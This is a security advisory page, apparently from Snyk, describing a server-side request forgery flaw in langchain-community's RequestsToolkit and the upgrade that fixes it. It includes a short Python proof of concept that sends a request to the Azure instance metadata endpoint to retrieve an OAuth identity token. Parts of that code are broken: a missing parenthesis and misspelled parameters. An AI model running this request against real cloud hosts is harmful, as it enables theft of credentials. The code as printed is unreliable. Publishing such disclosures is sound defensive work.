Server-side Request Forgery (SSRF) Affecting langchain-community package, versions [,0.0.28)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-LANGCHAINCOMMUNITY-10496412
  • published24 Jun 2025
  • disclosed23 Jun 2025
  • creditano251

Introduced: 23 Jun 2025

NewCVE-2025-2828  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade langchain-community to version 0.0.28 or higher.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the RequestsToolkit module. An attacker can access internal network resources, perform port scans, retrieve sensitive metadata from cloud environments, and interact with local services by crafting malicious requests.

PoC

from langchain_community.utilities.requests import TextRequestsWrapper from 

langchain_community.agent_toolkits.openapi.toolkit import RequestsToolkit

imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token" api_version = "2018-02-01"

resource = "https://managment.azure.com"

url = f"{imds_endpoint}?api_version={api_version}&resource={resource}" headers = {'Metadata': 'true'} 

requests_wrapper = TextRequestsWrapper(headers=headers)

requests_toolkit = RequestsToolkit(requests_wrapper=requests_wrapper)

response = requests_toolkit.requests_wrapper.get(url

print (response)

CVSS Base Scores

version 4.0
version 3.1